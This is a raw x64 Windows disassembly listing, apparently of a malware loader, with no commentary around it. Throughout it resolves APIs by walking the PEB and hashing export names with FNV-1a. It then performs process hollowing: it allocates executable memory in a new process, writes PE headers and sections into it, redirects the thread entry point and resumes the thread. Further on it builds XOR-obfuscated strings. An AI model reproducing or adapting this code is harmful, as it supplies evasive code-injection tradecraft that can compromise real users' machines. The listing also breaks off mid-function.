movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007fc41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007fc20
cmp r8d, 0x802bcf21
je 0x14007fc4b
test r9d, r9d
jne 0x14007fc00
mov rax, qword [rax]
jmp 0x14007fbd0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x26d0]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x14007fad0
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007fd46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007fd46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x50f08e42
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007fd41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007fd20
cmp r8d, 0x645fd4b1
je 0x14007fd4b
test r9d, r9d
jne 0x14007fd00
mov rax, qword [rax]
jmp 0x14007fcd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26d8]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007fe06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007fe06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8322d410
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007fe01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007fde0
cmp r8d, 0x7c6cbbeb
je 0x14007fe0b
test r9d, r9d
jne 0x14007fdc0
mov rax, qword [rax]
jmp 0x14007fd90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26d8]
call rdx
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007feb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007feb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x99562d2b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007feb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007fe90
cmp r8d, 0x32f551f
je 0x14007febb
test r9d, r9d
jne 0x14007fe70
mov rax, qword [rax]
jmp 0x14007fe40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26d0]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ff66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ff66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xeb4fac79
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ff61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ff40
cmp r8d, 0x76ced5b9
je 0x14007ff6b
test r9d, r9d
jne 0x14007ff20
mov rax, qword [rax]
jmp 0x14007fef0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26d8]
call rdx
nop
lea rcx, [rbp + 0x2940]
call fcn.140090180
nop
lea rcx, [rbp + 0x29b8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2b], 1
jne 0x140080a6c
lea rcx, [rbp + 0x29f8]
call fcn.140090c70
nop
lea rcx, [rbp + 0x37]
call fcn.140088110
mov rcx, rax
call fcn.14008b750
mov rdx, rax
lea rcx, [rbp + 0x29f8]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2928]
call fcn.140062500
lea rdx, [rbp + 0x29f8]
lea rcx, [rbp + 0x2508]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2928]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2928]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x26e8], xmm0
mov qword [rbp + 0x26f8], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x3370], xmm1
movups xmmword [rbp + 0x3380], xmm1
movups xmmword [rbp + 0x3390], xmm1
movups xmmword [rbp + 0x33a0], xmm1
movups xmmword [rbp + 0x33b0], xmm1
movups xmmword [rbp + 0x33c0], xmm1
mov qword [rbp + 0x33d0], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x140080a4c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008012a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008012a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x95e9050a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080125
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140080100
cmp r8d, 0xc151f28a
je 0x14008012f
test r9d, r9d
jne 0x1400800e0
mov rax, qword [rax]
jmp 0x1400800b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x5700]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400801e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400801e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x4d59cf47
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400801e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400801c0
cmp r8d, 0xeedfe167
je 0x1400801eb
test r9d, r9d
jne 0x1400801a0
mov rax, qword [rax]
jmp 0x140080170
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x26e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5700]
xor ecx, ecx
call r10
test eax, eax
je 0x140080a4c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400802d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400802d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xbe70d91f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400802d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400802b0
cmp r8d, 0x392bfe3b
je 0x1400802db
test r9d, r9d
jne 0x140080290
mov rax, qword [rax]
jmp 0x140080260
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400803a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400803a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x264879b5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400803a1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140080380
cmp r8d, 0xe43c26e
je 0x1400803ab
test r9d, r9d
jne 0x140080360
mov rcx, qword [rcx]
jmp 0x140080330
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26f0]
call r8
test eax, eax
je 0x1400808ee
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140080466
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080466
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xa960ccb1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080461
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140080440
cmp r8d, 0xe30986a8
je 0x14008046b
test r9d, r9d
jne 0x140080420
mov rax, qword [rax]
jmp 0x1400803f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x26e8]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140080536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xcc4dc006
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140080531
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140080510
cmp r8d, 0xe391aa69
je 0x14008053b
test r9d, r9d
jne 0x1400804f0
mov rcx, qword [rcx]
jmp 0x1400804c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x26e8]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x140080770
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14008062a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008062a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x56f49979
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080625
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140080600
cmp r8d, 0x623ee5e6
je 0x14008062f
test r9d, r9d
jne 0x1400805e0
mov rax, qword [rax]
jmp 0x1400805b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x26e8]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140080706
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080706
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x93b034ce
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080701
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400806e0
cmp r8d, 0x9b3f7251
je 0x14008070b
test r9d, r9d
jne 0x1400806c0
mov rax, qword [rax]
jmp 0x140080690
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x26e8]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x140080590
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140080806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb5841c1a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080801
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400807e0
cmp r8d, 0x964d3489
je 0x14008080b
test r9d, r9d
jne 0x1400807c0
mov rax, qword [rax]
jmp 0x140080790
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26f0]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400808c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400808c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x15d98ddc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400808c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400808a0
cmp r8d, 0xba518baf
je 0x1400808cb
test r9d, r9d
jne 0x140080880
mov rax, qword [rax]
jmp 0x140080850
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26f0]
call rdx
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140080976
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080976
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x4c8345db
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080971
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140080950
cmp r8d, 0x71abf88f
je 0x14008097b
test r9d, r9d
jne 0x140080930
mov rax, qword [rax]
jmp 0x140080900
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26e8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140080a26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080a26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xbf33a4d5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080a21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140080a00
cmp r8d, 0xac031b35
je 0x140080a2b
test r9d, r9d
jne 0x1400809e0
mov rax, qword [rax]
jmp 0x1400809b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26f0]
call rdx
nop
lea rcx, [rbp + 0x2928]
call fcn.140090180
nop
lea rcx, [rbp + 0x29f8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x24], 1
jne 0x140081c5f
call fcn.140051df0
call fcn.1400537a0
lea rax, [rbp + 0xb60]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xb60]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x530], Ordinal_79
mov byte [rbp + 0x531], 0x55
mov byte [rbp + 0x532], 0x5e
mov byte [rbp + 0x533], 0x43
mov byte [rbp + 0x534], 0x5f
mov byte [rbp + 0x535], 0x43
mov byte [rbp + 0x536], 0x57
mov byte [rbp + 0x537], 0x41
mov byte [rbp + 0x538], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x539], 0x50
mov byte [rbp + 0x53a], Ordinal_79
mov byte [rbp + 0x53b], 0x52
mov byte [rbp + 0x53c], 0
mov byte [rbp + 0x53d], 1
lea rdx, [rbp + 0x2528]
lea rcx, [rbp + 0x530]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x2528]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2528]
call fcn.140090bf0
call fcn.1400559f0
mov rax, qword [0x140214480]
cmp byte [rax + 0x27], 0
je 0x140080b51
call fcn.140055490
lea rax, [rbp + 0xb78]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xb78]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0xa10], xmm0
mov byte [rbp + 0xa20], 1
lea rdx, [rbp + 0x13c8]
lea rcx, [rbp + 0xa10]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x13c8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x13c8]
call fcn.140090bf0
lea rax, [rbp + 0xcc8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xcc8]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0xa28], xmm0
mov byte [rbp + 0xa38], 1
lea rdx, [rbp + 0x1408]
lea rcx, [rbp + 0xa28]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1408]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1408]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0xa40], xmm0
mov byte [rbp + 0xa50], 1
lea rdx, [rbp + 0x1448]
lea rcx, [rbp + 0xa40]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1448]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x1448]
call fcn.140090bf0
lea rax, [rbp + 0xdb8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xdb8]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x540], Ordinal_79
mov byte [rbp + 0x541], 0x55
mov byte [rbp + 0x542], 0x5e
mov byte [rbp + 0x543], 0x43
mov byte [rbp + 0x544], 0x5f
mov byte [rbp + 0x545], 0x43
mov byte [rbp + 0x546], 0x57
mov byte [rbp + 0x547], 0x41
mov byte [rbp + 0x548], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x549], 0x50
mov byte [rbp + 0x54a], Ordinal_79
mov byte [rbp + 0x54b], 0x52
mov byte [rbp + 0x54c], 0
mov byte [rbp + 0x54d], 1
lea rdx, [rbp + 0x1488]
lea rcx, [rbp + 0x540]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1488]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1488]
call fcn.140090bf0
lea rax, [rbp + 0xdd0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xdd0]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xa58], xmm0
mov byte [rbp + 0xa68], 0x59
mov byte [rbp + 0xa69], 0
mov byte [rbp + 0xa6a], 1
lea rdx, [rbp + 0x14c8]
lea rcx, [rbp + 0xa58]
call fcn.14008e550
nop
lea rcx, [rbp + 0x14c8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x14c8]
call fcn.140090bf0
lea rax, [rbp + 0x1148]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1148]
call fcn.140056380
mov rbx, rax
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_790], 0x4f
mov byte [rbp + 0x4f1], 0x59
mov byte [rbp + 0x4f2], 0x48
mov byte [rbp + 0x4f3], 0x42
mov byte [rbp + 0x4f4], 0x5f
mov byte [rbp + 0x4f5], 0x5f
mov byte [rbp + 0x4f6], Ordinal_32
mov byte [rbp + 0x4f7], 0x56
mov byte [rbp + 0x4f8], Ordinal_79
mov byte [rbp + 0x4f9], 0x50
mov byte [rbp + 0x4fa], 0
mov byte [rbp + 0x4fb], 1
lea rdx, [rbp + 0x1508]
lea rcx, [rbp + 0x4f0]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x1508]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1508]
call fcn.140090bf0
lea rax, [rbp + 0x1160]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1160]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x340], 0x40
mov byte [rbp + 0x341], 0x5e
mov byte [rbp + 0x342], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x343], 0x5c
mov byte [rbp + 0x344], 0x43
mov byte [rbp + 0x345], Ordinal_32
